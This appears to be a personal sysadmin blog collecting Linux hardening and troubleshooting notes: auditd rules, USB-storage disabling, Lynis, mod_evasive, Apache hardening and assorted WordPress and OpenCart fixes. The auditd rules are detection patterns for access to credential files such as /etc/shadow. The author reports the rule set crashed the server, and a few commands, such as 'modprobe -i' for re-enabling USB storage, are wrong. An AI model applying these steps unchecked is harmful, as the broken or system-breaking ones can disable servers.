Auditd service

Reload systemd daemon to reload changes made in auditd service unit file:

systemctl daemon-reload

Restart the auditd service: service auditd restart

RULE EXAMPLES

## Remove any existing rules
-D

## Buffer Size
## Feel free to increase this if the machine panic's
-b 8192

## Failure Mode
## Possible values are 0 (silent), 1 (printk, print a failure message),
## and 2 (panic, halt the system).
-f 1

## Audit the audit logs.
## successful and unsuccessful attempts to read information from the
## audit records; all modifications to the audit trail
-w /var/log/audit/ -k auditlog

## Auditd configuration
## modifications to audit configuration that occur while the audit
## collection functions are operating.
-w /etc/audit/ -p wa -k auditconfig
-w /etc/libaudit.conf -p wa -k auditconfig
-w /etc/audisp/ -p wa -k audispconfig

## Monitor for use of audit management tools
-w /sbin/auditctl -p x -k audittools
-w /sbin/auditd -p x -k audittools

## special files
-a exit,always -F arch=b32 -S mknod -S mknodat -k specialfiles
-a exit,always -F arch=b64 -S mknod -S mknodat -k specialfiles

## Mount operations
-a exit,always -F arch=b32 -S mount -S umount -S umount2 -k mount
-a exit,always -F arch=b64 -S mount -S umount2 -k mount

## changes to the time
##
-a exit,always -F arch=b32 -S adjtimex -S settimeofday -S stime -S clock_settime -k time
-a exit,always -F arch=b64 -S adjtimex -S settimeofday -S clock_settime -k time

## Use stunnel
-w /usr/sbin/stunnel -p x -k stunnel

## cron configuration & scheduled jobs
-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/crontabs/ -k cron

## user, group, password databases
-w /etc/group -p wa -k etcgroup
-w /etc/passwd -p wa -k etcpasswd
-w /etc/gshadow -k etcgroup
-w /etc/shadow -k etcpasswd
-w /etc/security/opasswd -k opasswd

## monitor usage of passwd
-w /usr/bin/passwd -p x -k passwd_modification

#Monitor for use of tools to change group identifiers
-w /usr/sbin/groupadd -p x -k group_modification
-w /usr/sbin/groupmod -p x -k group_modification
-w /usr/sbin/addgroup -p x -k group_modification
-w /usr/sbin/useradd -p x -k user_modification
-w /usr/sbin/usermod -p x -k user_modification
-w /usr/sbin/adduser -p x -k user_modification

## login configuration and information
-w /etc/login.defs -p wa -k login
-w /etc/securetty -p wa -k login
-w /var/log/faillog -p wa -k login
-w /var/log/lastlog -p wa -k login
-w /var/log/tallylog -p wa -k login

## network configuration
-w /etc/hosts -p wa -k hosts
-w /etc/network/ -p wa -k network

## system startup scripts
-w /etc/inittab -p wa -k init
-w /etc/init.d/ -p wa -k init
-w /etc/init/ -p wa -k init

## library search paths
-w /etc/ld.so.conf -p wa -k libpath

## local time zone
-w /etc/localtime -p wa -k localtime

## kernel parameters
-w /etc/sysctl.conf -p wa -k sysctl

## modprobe configuration
-w /etc/modprobe.conf -p wa -k modprobe

## pam configuration
-w /etc/pam.d/ -p wa -k pam
-w /etc/security/limits.conf -p wa  -k pam
-w /etc/security/pam_env.conf -p wa -k pam
-w /etc/security/namespace.conf -p wa -k pam
-w /etc/security/namespace.init -p wa -k pam

## GDS specific secrets
-w /etc/puppet/ssl -p wa -k puppet_ssl

## postfix configuration
-w /etc/aliases -p wa -k mail
-w /etc/postfix/ -p wa -k mail

## ssh configuration
-w /etc/ssh/sshd_config -k sshd

## changes to hostname
-a exit,always -F arch=b32 -S sethostname -k hostname
-a exit,always -F arch=b64 -S sethostname -k hostname

## changes to issue
-w /etc/issue -p wa -k etcissue
-w /etc/issue.net -p wa -k etcissue

## this was to noisy currently.
# log all commands executed by an effective id of 0 aka root.
-a exit,always -F arch=b64 -F euid=0 -S execve -k rootcmd
-a exit,always -F arch=b32 -F euid=0 -S execve -k rootcmd

## Capture all failures to access on critical elements
-a exit,always -F arch=b64 -S open -F dir=/etc -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/bin -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/sbin -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/usr/bin -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/usr/sbin -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/var -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/home -F success=0 -k unauthedfileacess
-a exit,always -F arch=b64 -S open -F dir=/srv -F success=0 -k unauthedfileacess

## Monitor for use of process ID change (switching accounts) applications
-w /bin/su -p x -k priv_esc
-w /usr/bin/sudo -p x -k priv_esc
-w /etc/sudoers -p rw -k priv_esc

## Monitor usage of commands to change power state
-w /sbin/shutdown -p x -k power
-w /sbin/poweroff -p x -k power
-w /sbin/reboot -p x -k power
-w /sbin/halt -p x -k power

## Make the configuration immutable
-e 2

P.S After a reboot, total crash with auditd, IP internal Conflict ! and total CSF block! Good luck with this one!

How to find Hardware information on Live (running) Servers & Systems

dmidecode is a tool for dumping a computer DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the system hardware components, as well as other useful pieces of information such as serial numbers  and  BIOS  revision.  You can retrieve this information without having to probe for the actual hardware.  While this is a good point in terms of report speed and safeness, this also makes the presented information possibly unreliable.

The  DMI  table  does not  only describe what the system is currently made of, it also can report the possible evolutions (such as the fastest supported CPU or the maximal amount of memory supported).

SMBIOS stands for System Management BIOS, while DMI stands for Desktop Management Interface. Both standards are  tightly related and developed by the DMTF (Desktop Management Task Force).

# yum install dmidecode

# dmidecode –type bios [About BIOS Details]

# dmidecode –type system [About System Information]

# dmidecode –type baseboard [About NIC & Storage Card]

# dmidecode –type chassis [About Chassis Information]

# dmidecode –type processor [About Processor Information]

# dmidecode –type memory [About Memory Information]

# dmidecode –type cache [About Cache Information]

# dmidecode –type connector [About USB Information]

# dmidecode –type slot [About Slot Information]

How to read or view utmp, wtmp and btmp files in Linux

In Linux operating systems everything is logged some where. Most of the system logs are logged in to /var/log folder. This folder contains logs related to different services and applications. In this folder we have some files such as utmp, wtmp and btmp. These files contains all the details about login’s and logout’s which are from local as well as from remote systems and system status such as uptime etc.

utmp will give you complete picture of users logins at which terminals, logouts, system events and current status of the system, system boot time (used by uptime) etc.

wtmp gives historical data of utmp.

btmp records only failed login attempts.

Provide how logged in, when they logged in and when they logged out
# last

To open wtmp file and view its content use blow command
# last -f /var/log/wtmp

To see still logged in users view utmp file use last command
# last -f /var/run/utmp

To view btmp file use same command
# last -f /var/log/btmp

Disable USB Devices Hardening Centos 7

We would like to disable all USB devices connected to our HP Red Hat Linux based workstations. I would like to disable USB flash or hard drives, which users can use with physical access to a system to quickly copy sensitive data from it. How do I disable USB device support under CentOS Linux, RHEL version 5.x/6.x/7.x and Fedora latest version?

The USB storage drive automatically detects USB flash or hard drives. You can quickly force and disable USB storage devices under any Linux distribution. The modprobe program used for automatic kernel module loading. It can be configured not load the USB storage driver upon demand. This will prevent the modprobe program from loading the usb-storage module, but will not prevent root (or another privileged program) from using the insmod/modprobe program to load the module manually. USB sticks containing harmful malware may be used to steal your personal data. It is not uncommon for USB sticks to be used to carry and transmit destructive malware and viruses to computers. The attacker can target MS-Windows, macOS (OS X), Android and Linux based system.

usb-storage driver

The usb-storage.ko is the USB Mass Storage driver for Linux operating system. You can see the file by typing the following command:
# ls -l /lib/modules/$(uname -r)/kernel/drivers/usb/storage/usb-storage.ko

All you have to do is disable or remove the usb-storage.ko driver to restrict to use USB devices on Linux such as:

  1. USB keyboards
  2. USB mice
  3. USB pen drive
  4. USB hard disk
  5. Other USB block storage

BIOS option

You can also disable USB from system BIOS configuration option. Make sure BIOS is password protected. This is recommended option so that nobody can boot it from USB.

Notes:

In linux it’s even more easily done, by unloading the usb_storage module: for disable :-

# modprobe -r usb_storage

for enable :-

# modprobe -i usb_storage

The easiest way to disable usb storage device in linux is create following file And add following line inside the file

# touch /etc/modprobe.d/no-usb

install usb-storage /bin/true

Lynis new version 2.5.0

Lynis Security Auditing

Lynis is our system and security auditing tool for Linux, Mac OS X, and UNIX-based systems.

It provides insights in how well a system is hardened and what you can do, to improve your security defenses.

The software is open source and free to use. It is updated on a regular basis, to keep up with new technologies.

Security should be simple, but it is definitely not. With Lynis you gain quick insights in how well you are protecting your crown jewels. From your personal notebook to surf the web, up to where your company’s biggest secrets are stored.

We suggest people using it daily & compare the results for example:
https://linux-audit.com/find-differences-between-two-daily-lynis-audits

Installation steps:

cd /tmp
wget https://cisofy.com/files/lynis-2.5.0.tar.gz
tar xvfz lynis-2.5.0.tar.gz
mv lynis cd

Move all contents of /tmp/cd into /usr/local/lynis
* Make sure that  lynis file is 775 or else you will get a perm denied 😉

To scan the server first do a update!

# lynis update info

Then to actually scan the system:

# lynis audit system

Once the scan is over you will get a System Scan Summary
Note: This is the actual results of easy-admin.ca server

Lynis suggests also a very good things that might be tampered to make the system more secure, so using some of its output when I have time I’ll work out on hardening all servers.

Commercial support available

For companies who prefer additional support, we have also Lynis Enterprise. It uses Lynis as a client. On top of that, it has additional plugins, reporting, central management, a dashboard, and more guidance (e.g. hardening snippets). With Lynis in its core, you are assured of a stable piece of software, which is up-to-date.

Examples of plugins:

  • Compliance (e.g. HIPAA, PCI DSS, ISO27001)
  • Docker
  • File integrity
  • Systemd

Source: https://cisofy.com/lynis

NOTES:
# sysctl -a
# lynis show
# lynis –tests “SSH-7440”
# lynis show help
# lynis update info
# systemctl status -all

Protection for APACHE using mod_dosevasive

The mod_evasive Apache module, formerly known as mod_dosevasive, helps protect against DoS, DDoS (Distributed Denial of Service), and brute force attacks on the Apache web server. It can provide evasive action during attacks and report abuses via email and syslog facilities. The module works by creating an internal dynamic table of IP addresses and URIs as well as denying any single IP address from any of the following:

  • Requesting the same page more than a few times per second
  • Making more than 50 concurrent requests on the same child per second
  • Making any requests while temporarily blacklisted

If any of the above conditions are met, a 403 response is sent and the IP address is logged. Optionally, an email notification can be sent to the server owner or a system command can be run to block the IP address.

Step 1 — Installing mod_evasive

In this section, we will be installing the packages required for mod_evasive to function and finally install mod_evasive.

First, we need to install the EPEL (Extra Packages for Enterprise Linux) yum repository on the server. EPEL is a Fedora Special Interest Group that creates, maintains, and manages a high quality set of open source add-on software packages for Enterprise Linux. Run the following command to install and enable the EPEL repository on your server:

On CentOS 7:

sudo rpm -ivh http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm

Let us verify that the EPEL repo is enabled using:

sudo yum repolist

If enabled, you will see the following repo listed in the output:

epel/x86_64                                                            Extra Packages for Enterprise Linux 7 - x86_64

Now, let us protect the base packages from EPEL using the yum plugin protectbase.

sudo yum install yum-plugin-protectbase.noarch -y

The purpose of the protectbase plugin is to protect certain yum repositories from updates from other repositories. Packages in the protected repositories will not be updated or overridden by packages in non-protected repositories even if the non-protected repo has a later version.

Now we are ready to install mod_evasive module. Run the following command to install it:

sudo yum install mod_evasive -y

Step 2 — Verifying the Installation

Now that mod_evasive is installed, let’s verify that configuration file has been installed and that the module is being loaded.

During installation, the mod_evasive configuration file /etc/httpd/conf.d/mod_evasive.conf was added. To verify this run:

sudo ls -al /etc/httpd/conf.d/mod_evasive.conf

Output should look similar to:

-rw-r--r-- 1 root root 3473 Jul 21 01:41 /etc/httpd/conf.d/mod_evasive.conf

By default, the following LoadModule line will be added to the top of configuration file mod_evasive.conf. Open the file and add the line if it is not already present. This line tells the Apache web server to load and use the mod_evasive module.

On CentOS 7, the line should read as follows:

/etc/httpd/conf.d/mod_evasive.conf
LoadModule evasive20_module modules/mod_evasive24.so

Let us list the modules loaded for the Apache web server and look for mod_evasive:

sudo  httpd -M | grep evasive

The output should show:

evasive20_module (shared)

Step 3 — Configuring mod_evasive

Now that the installation is complete and verified, let us look into the configuration of the module. mod_evasive can be easily customized through the mod_evasive.conf configuration file. We will discuss some of the configuration parameters in this tutorial. Please refer to the configuration file for information on all the parameters — it contains a description of each parameter.

One of the configuration options you need to change is DOSEmailNotify. This is a very useful directive. If this value is set, an email will be sent to the email address specified whenever an IP address is blacklisted. The email body will show mod_evasive HTTP Blacklisted 222.222.222.251

For example, if you want to send mod_evasive alerts to say, johndoh@example.com, edit the file:

sudo nano /etc/httpd/conf.d/mod_evasive.conf

Uncomment the DOSEmailNotify line by removing the # in front of the line, and change the email address to yours:

/etc/httpd/conf.d/mod_evasive.conf
DOSEmailNotify   youremail@yourdomain.com

Note: mod_evasive uses /bin/mail for sending email alerts. You need to have a mail server installed and working.

Another parameter you might want to set is DOSWhitelist. Using this option, IP addresses of trusted clients can be added to the whitelist to ensure they are never denied. The purpose of whitelisting is to protect software, scripts, local search bots, or other automated tools from being denied for requesting large amounts of data from the server.

To whitelist an IP address, for example 222.222.222.252, add an entry to the configuration file like this:

/etc/httpd/conf.d/mod_evasive.conf
DOSWhitelist    222.222.222.252

Wildcards can be used on up to the last 3 octets of the IP address if necessary.

To whitelist multiple IP addresses from different IP ranges, you can add separate DOSWhitelist lines in the configuration file like this:

/etc/httpd/conf.d/mod_evasive.conf
DOSWhitelist    222.222.222.251
DOSWhitelist    222.222.222.222

DOSPageCount and DOSSiteCount are two other parameters recommended to be changed to less aggressive values to avoid clients getting blocked unnecessarily.

DOSPageCount is the limit for the number of requests for the same page per page interval (usually set to one second) by an IP address. Once the threshold for that interval has been exceeded, the IP address of the client will be added to the blocked list. The default value is set quite low at 2. You can change it to a higher value, say 20, by editing the following in /etc/httpd/conf.d/mod_evasive.conf:

/etc/httpd/conf.d/mod_evasive.conf
DOSPageCount 20

DOSSiteCount is the limit for the total number of requests for the same website by an IP address per site interval (defaults to 1 second). To change it to a larger value such as 100 seconds:

/etc/httpd/conf.d/mod_evasive.conf
DOSSiteCount 100

There are a few other parameters you can change to achieve better performance.

One is DOSBlockingPeriod, which is the amount of time (in seconds) that a client (IP address) will be blocked for if they are added to the blocked list. During this time, all subsequent requests from the client will result in a 403 (Forbidden) error and the timer being reset (defaults to 10 seconds).

For example, if you want to increase the blocking period to 300 seconds:

/etc/httpd/conf.d/mod_evasive.conf
DOSBlockingPeriod    300

Another is DOSLogDir which refers to the temporary directory used by mod_evasive. By default /tmp will be used for a locking mechanism, which opens some security issues if your system is open to shell users. In the event you have non-privileged shell users, you will want to create a directory writeable only to the user Apache is running as (usually apache) then set this parameter in your mod_evasive.conf file.

For example, to set the directory used by mod_evasive to /var/log/mod_evasive, create the directory using:

sudo mkdir /var/log/mod_evasive

Then set the ownership to apache user:

sudo chown -R apache:apache /var/log/mod_evasive

Now edit the mod_evasive configuration and change the directory as follows:

/etc/httpd/conf.d/mod_evasive.conf
DOSLogDir           "/var/log/mod_evasive"

Another parameter is DOSSystemCommand. If a value is set, the command specified will be executed whenever an IP address is blacklisted. Using this parameter, you can integrate mod_evasive with the firewall installed on your server or a shell script and block the IP addresses blacklisted by mod_evasive in the firewall.

Step 4 — Loading the mod_evasive Module

Once we have made the changes in the configuration file, we need to restart the Apache web server for them to take effect. Run the following command to restart Apache.

On CentOS 7:

sudo systemctl restart httpd.service

Note: Please note that mod_evasive appears to conflict with the FrontPage Server Extensions. You might also want to check your Apache web server settings to make sure mod_evasive is able to function well. Suggested Apache tweaks are to have a very high value for MaxRequestsPerChild but not unlimited (A value of zero implies unlimited) and to have KeepAlive enabled with KeepAliveTimeout set reasonably long.

Step 5 — Testing mod_evasive

Let us do a short test to see if the module is working correctly. We will be using a perl script test.pl written by mod_evasive developers. To execute the script, we need to first install perl package on the server using:

sudo yum install -y perl

The test script is installed with mod_evasive at the following location:

/usr/share/doc/mod_evasive-1.10.1/test.pl

By default, the test script requests the same page from your Apache web server 100 times in a row to trigger mod_evasive. In the last section, we modified mod_evasive to be more tolerant of requests per second to the same page. We need to change the script to 200 requests in a row instead of 100 to make sure we trigger all of mod_evasive’s notification methods.

Edit /usr/share/doc/mod_evasive-1.10.1/test.pl:

sudo nano /usr/share/doc/mod_evasive-1.10.1/test.pl

Find the following line:

/usr/share/doc/mod_evasive-1.10.1/test.pl
for(0..100) {

Replace 100 with 200:

/usr/share/doc/mod_evasive-1.10.1/test.pl
for(0..200) {

Save and exit.

To execute the script, run:

sudo perl /usr/share/doc/mod_evasive-1.10.1/test.pl

You should see output similar to:

HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
...

The script makes 100 requests to your web server. the 403 response code indicates access is denied by the web server. mod_evasive also logs to syslog when the IP address is blocked. Check the log file using:

sudo tailf /var/log/messages

It should show a line similar to:

May 21 00:11:18 servername mod_evasive[18290]: Blacklisting address 127.0.0.1: possible DoS attack.

indicating the IP address is blocked by mod_evasive.

If you have configured mod_evasive to send email alerts when an IP is blocked, you will have an email in your inbox with the following content:

mod_evasive HTTP Blacklisted 127.0.0.1

Conclusion

mod_evasive is great at fending off single server, scripted attacks as well as distributed attacks. However, it is only useful to the point of your server’s total bandwidth and processor capacity for processing and responding to invalid requests. For this reason, it is a good idea to integrate this module with your server firewall for maximum protection. Without a really good infrastructure and a firewall in place, a heavy DDoS might still take you offline. If an attack is very heavy and persistent, you might need to move to a hardware-based DDoS mitigation solution.

Source : www.digitalocean.com

mod_parmguard for Apache Webserver

The Apache module that will protect your scripts against hacker’s input !

There is an Apache module, mod_parmguard (http://www.trickytools.com/php/mod_parmguard.php), which is close to providing a complete solution to positive security model requirements. When I checked Version 1.3, the module was not stable for production use, but you should check on it from time to time to see if it improves.

Download version 1.4

Documentation

Its configuration is XML-based and, for this purpose, easier to use than Apache-style configuration typical for other modules. Here’s a short excerpt from its documentation for a page with a single parameter:

<url>
    <match>validate.php</match>
    <parm name="name">
      <type name="string"/>
      <attr name="maxlen" value="10"/>
      <attr name="charclass" value="^[a-zA-Z]+$"/>
    </parm>
</url>

Other interesting features of this module include a spider that analyzes the application and produces configuration data automatically and the ability to generate custom data types and save time writing the configuration.

Note: https://books.google.ca/books?id=zJUuToRbZ7oC&pg=PA149&lpg=PA149&dq=mod_parmguard&source=bl&ots=RI2WYAgchh&sig=KvdOU6_UALjcF3ZADX5RSi1R0LI&hl=en&sa=X&ved=0ahUKEwjVyeq72PzTAhVBpCwKHcEaDLwQ6AEIWDAO#v=onepage&q=mod_parmguard&f=false

How to Harden the Apache Web Server on CentOS 7

NOTE: https://www.feistyduck.com/library/apache%2dsecurity/online/

Introduction

Apache is one of the most widely-used and popular web servers. It is also one of the most secure web servers available. In this article, I will explain some tips and tricks that will secure your Apache server.

Requirements

  • A server running CentOS v. 7 with Apache installed
  • A static IP address for your server
  • Firefox browser with the Firebug add-on installed (for testing)

Hide the Apache version

Visit your web server in Firefox. Activate Firebug by clicking the Firebug icon on the top right side.

If you check the HTTP response headers in Firebug, it will show the Apache version along with your operating system name and version, as shown in this screenshot:

To hide this information from browsers, you will need to make some changes in Apache’s main configuration file.

You can do this by editing the httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line at the end of file:

ServerSignature Off
ServerTokens Prod

Save the file and restart the Apache service to reflect these changes:

sudo apachectl restart

Now, open Firefox and access your web server. Check the HTTP response headers in Firebug, You can see that setting ServerSignature to Off has removed the version information from Server.

Turn off directory listing

Directory listing in the absence of an index file is enabled by default in Apache. Directory listing displays all the files from the Apache web root directory. If this is enabled, then a hacker can easily view any file, analyze it, and obtain sensitive information about an application of your Apache server.

You can turn off this setting by using the Options directive in the Apache configuration file for a specific web directory.

sudo nano /etc/httpd/conf/httpd.conf

Find the section that begins with Directory /var/www/html and add -Indexes in the Options directive:

<Directory /var/www/html/>
    Options -Indexes
    AllowOverride None
    Require all granted
</Directory>

Save the file and restart Apache service to reflect these changes.

sudo apachectl restart

Next, try to visit your website in a browser. You will get a “Forbidden” error.

Disable unnecessary modules

By default Apache comes with lots of unnecessary installed modules. It is a good policy to disable any unnecessary modules that are not in use.

You can list all enabled modules on your server using the following command:

sudo grep LoadModule /etc/httpd/conf.modules.d/00-base.conf

From the enabled modules in 00-base.conf file, some modules like mod_info, mod_userdir, mod_autoindex are enabled but not needed.

You can disable this modules by editing the 00-base.conf file:

sudo nano /etc/httpd/conf.modules.d/00-base.conf

Insert a # at the beginning of the following lines to disable the modules:

#LoadModule info_module modules/mod_info.so
#LoadModule userdir_module modules/mod_userdir.so</code></pre>

Save the file and restart Apache service to reflect these changes.

sudo apachectl restart

By default Apache follows symbolic links (symlinks). Turning this off is recommended for security.

To do this, you need to edit httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Find the section that begins with Directory /var/www/html. Add -FollowSymLinks in option directive:

<Directory /var/www/html/>
    Options -Indexes -FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

Now restart Apache to reflect changes.

sudo apachectl restart

Turn off server-side includes (SSI) and CGI execution

Server-side includes (SSI) are directives present on Web applications that are placed in HTML pages. An SSI attack allows a web application to be exploited by remotely executing arbitrary codes. The attacker can access sensitive information like password files, and execute shell commands. It is recommended that you disable server side includes and CGI execution if they are not needed.

To do this, edit the main Apache config file:

 sudo nano /etc/httpd/conf/httpd.conf</code></pre>

Find the section that begins with Directory /var/www/html, Add -ExecCGI and -Includes in option directive:

<Directory /var/www/html/>
    Options -Indexes -FollowSymLinks -ExecCGI -Includes
    AllowOverride None
    Require all granted
</Directory>

Now restart Apache to reflect the changes.

sudo apachectl restart

You can also do this for specific web directories. For example, to turn off Includes and CGI file executions for /var/www/html/www.vhost1.com directory:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line:

<Directory /var/www/html/www.vhost1.com/>
    Options -Includes -ExecCGI
</Directory>

Save the file and restart Apache.

sudo apachectl restart

Limit request size

By default Apache has no limit on the size of the HTTP request. This can allow hackers to send large number of data.

You can limit the requests size by using the Apache directive LimitRequestBody in combination with the Directory tag. This can help protect your web server from a denial of service (DOS) attack.

Suppose you have a site (www.example.com), where you allow uploads, and you want to limit the upload size on this site.

You can set value from 0 (unlimited) to 2147483647 (2GB) in the main Apache config file.

For example, to limit the request size for the /var/www/html/www.example.com directory to 200K:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line:

<Directory /var/www/html/www.example.com>
    LimitRequestBody 204800
</Directory>

Save the file and restart Apache.

sudo apachectl restart

Disallow browsing outside the document root

Unless you have a specific need, it is recommended to restrict Apache to being only able to access the document root.

You can secure the root directory / with Allow and Deny options in the httpd.conf file.

sudo nano /etc/httpd/conf/httpd.conf

Add/edit the following line:

<Directory />
    Options None
    Order deny,allow
    Deny from all
</Directory>

Save the file and restart Apache:

sudo apachectl restart
  • Options None : This will turn off all options
  • Order deny,allow : The order in which the allow and deny commands are applied
  • Deny from all : This will deny request from all to the root directory

Keep Apache up to date

The Apache Server has a good record for security. New Apache updates will contain patches that will reduce vulnerability of your Apache server. You should always be using the most recent version of Apache server.

You can update your Apache to the most recent version by running the following command:

sudo yum update httpd

Secure Apache from clickjacking attacks

Clickjacking, also known as “User Interface redress attack,” is a malicious technique to collect an infected user’s clicks. Clickjacking tricks the victim (visitor) into clicking on an infected site.

To avoid this, you need to use X-FRAME-OPTIONS to prevent your website from being used by clickjackers.

You can do this by editing the httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line:

Header append X-FRAME-OPTIONS "SAMEORIGIN"

Save the file and restart Apache:

sudo apachectl restart

Now, open Firefox and visit your website. When you check the HTTP response headers in Firebug, you should see X-Frame-Options

Disable ETag

ETags (entity tags) are a well-known point of vulnerability in Apache web server. ETag is an HTTP response header that allows remote users to obtain sensitive information like inode number, child process ids, and multipart MIME boundary. ETag is enabled in Apache by default.

To prevent this vulnerability, disabling ETag is recommended.

You can do this by editing httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line:

FileETag None

Save the file and restart Apache:

sudo apachectl restart

Now, open Firefox and visit your website. When you check the HTTP response headers in Firebug, you should not see Etag listed.

HTTP request methods

Apache support the OPTIONS, GET, HEAD, POST, CONNECT, PUT, DELETE, and TRACE method in HTTP 1.1 protocol. Some of these may not be required, and may pose a potential security risk. It is a good idea to only enable HEAD, POST, and GET for web applications.

You can do this by editing the httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Find the section that begins with Directory /var/www/html. Add the following lines under this section:

<LimitExcept GET POST HEAD>
    deny from all
</LimitExcept>

Save the file and restart Apache:

sudo apachectl restart

Secure Apache from XSS attacks

Cross-site scripting (XSS) is one of the most common application-layer vulnerabilities in Apache server. XSS enables attackers to inject client-side script into web pages viewed by other users. Enabling XSS protection is recommended.

You can do this by editing the httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line:

<IfModule mod_headers.c>
    Header set X-XSS-Protection "1; mode=block"
</IfModule>

Save the file and restart Apache to reflect changes.

sudo apachectl restart

Now, open Firefox and visit your website. When you check HTTP response headers in Firebug, you should see that XSS Protection is enabled and mode is blocked.

Protect cookies with HTTPOnly flag

You can protect your Apache server from most of the common Cross Site Scripting attacks using the HttpOnly and Secure flags for cookies.

You can do this by editing the httpd.conf file:

sudo nano /etc/httpd/conf/httpd.conf

Add the following line:

<IfModule mod_headers.c>
    Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
</IfModule>

Save the file and restart Apache to reflect changes.

sudo apachectl restart

Let’s Encrypt automatic renewal problem!

I ran into a problem with one of my domain name about a week ago! The problem was related to the automatic renewal of Let’s Encrypt SSL Key. There is a easy fix out there, on this server I am using .htaccess to forward all traffic to https:// the fix is to remove or rename the .htaccess until the SSL key is renewed.

As per today 5-19-2017 Let’s Encrypt gateway make a time-out!


Source : https://statusgator.com/services/lets-encrypt

Cheers

Update :

A new certificate was successfully requested from Let’s Encrypt, and installed for easy-admin.ca, www.easy-admin.ca.

🙂

You lost your Webmin password? No problem!

How to reset Webmin root password?

At times we often forget the webmin password for a given user, say root, or after repeated failed login attempts webmin locks the account and no one cannot login anymore. In this case you need to wait for couple, three minutes and you will be able to try to login again. However, if you’ve forgotten your password and need to change it, then login to the server via ssh and run the following command:

For RHEL/CentOS:

/usr/libexec/webmin/changepass.pl /etc/webmin root NEWPASSWORD

The package could not be installed.

PCLZIP_ERR_MISSING_FILE (-4) : Missing archive file

If WP detects that it cannot write files to your /tmp/…. directory, then you get the error message like “The package could not be installed. PCLZIP_ERR_MISSING_FILE (-4) : Missing archive file”

Solution:

You can work around this by specifying a new temp directory on your server with a place that you know WordPress is allowed to write files to. You can do this by adding this line of code into the wp-config.php file.

1. Find the links blow
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);

2. Add lines below
/** Specify wordpress temp dir */
define(‘WP_TEMP_DIR’, ABSPATH . ‘wp-content/temp‘);

3. Open wp-content folder,
and create a new folder on your CENTOS Server named temp and make sure you set the right CHOWN for your new created directory!

Try again, you will see it works like a charm.

Easy Fix here!

How to change OpenCart Timezone

OpenCart used globally and operated from different timezone based on site owner place. In most case, OpenCart site run in UTC timezone. This affecting all aspect depend on the time configuration, from product comment, special price to order history.

This is not issue if you can accept the time difference; but of course it’s not logical for the site owner confused either an order is placed today or yesterday because the OpenCart site time is different from their local.

This tutorial covering not just change PHP timezone but also synchronize it with database. Lets start the tutorial with most case assumption that the OpenCart site is run on UTC timezone. To visualize this we use the free extension System Information as on image below.

For this tutorial, I use OpenCart v2.2.x that might be different from your OpenCart version. In order to use this tutorial for your site, you need to do adjustment where the code should change.

Change PHP Timezone

There is two method to change PHP timezone, through php.ini or set them at PHP file directly. To change timezone in php.ini you can ask your hosting provider, because one host to another have different approach.

To use the second method, we will change system/startup.php with PHP supported timezone.

// if (!ini_get('date.timezone')) {     
//   date_default_timezone_set('UTC');      
// }
date_default_timezone_set('Australia/Sydney');

On code above I commented the OpenCart code because I have date.timezone configured in php.ini. This change will give us result:

Most tutorial on change OpenCart timezone finish at this stage. But this is actually wrong. I purposely set the timezone to Australia/Sydney because I know the time different when write this tutorial will be one day with database time that still use UTC.

If you add product review now, which is added to database with sql query now() the date added is 20/03/2016, even though PHP time is March 21, 2016. This will make you think the review is maded yesterday, even though it’s just 5 minute ago.

OpenCart 2.2 have 275+ sql query that use now() and this mean the same thing will happen to Product Special Price, Coupon Code, Voucher, Order, Return and more. If you change PHP timezone, make sure to synchronize with database.

Synchronize PHP and Database Timezone

Synchronize php and database timezone is done by set the database connection timezone. We can try to set global database timezone but that need super privillage user which is not available on shared hosting. Query we use to set database timezone:

SET time_zone='offset';

We use offset and not named timezone because, quoted from MySQL: “Named time zones can be used only if the time zone information tables in the mysql database have been created and populated”. There is no guarantee all hosting have timezone information table in their database instances.

To change OpenCart database connection timezone, we will change system/library/db/mysqli.php and add code below after $this->connection->query(“SET SQL_MODE = ””);

$dt = new \DateTime();
$this->connection->query("SET time_zone='" . $dt->format('P') . "';");

In OpenCart 2.0.x and 2.1.x change $this->connection to $this->link.Since System Information use OcMod to get Database info, it’s important to refresh modification at Extensions > Modification before check the result. This change will give us result:

You can see on image above that date time on PHP and Database is now synchronized.

7 Days to Die is a survival horde crafting game for PC ;-)

With over 1.5 million copies sold on PC (digital download), 7 Days to Die has redefined the survival genre, with unrivaled crafting and world-building content. Set in a brutally unforgiving post-apocalyptic world overrun by the undead, 7 Days to Die is an open-world game that is a unique combination of first person shooter, survival horror, tower defense, and role-playing games. It presents combat, crafting, looting, mining, exploration, and character growth, in a way that has seen a rapturous response from fans worldwide. Play the definitive zombie survival sandbox RPG that came first. Navezgane awaits!

7DaysToDie.com

R.I.P  ~  T H E   R O B  !
1973 – 2017

The “unhide” command used by rkhunter!

The unhide command for RKHUNTER in CentOS 7 must be installed with the following “Yum” command:

yum install unhide unhide-tcp

I have detected that rkhunter need this file to be able to unhide stuff!

Info: Starting test name ‘malware’
Performing malware checks
Info: Test ‘deleted_files’ disabled at users request.
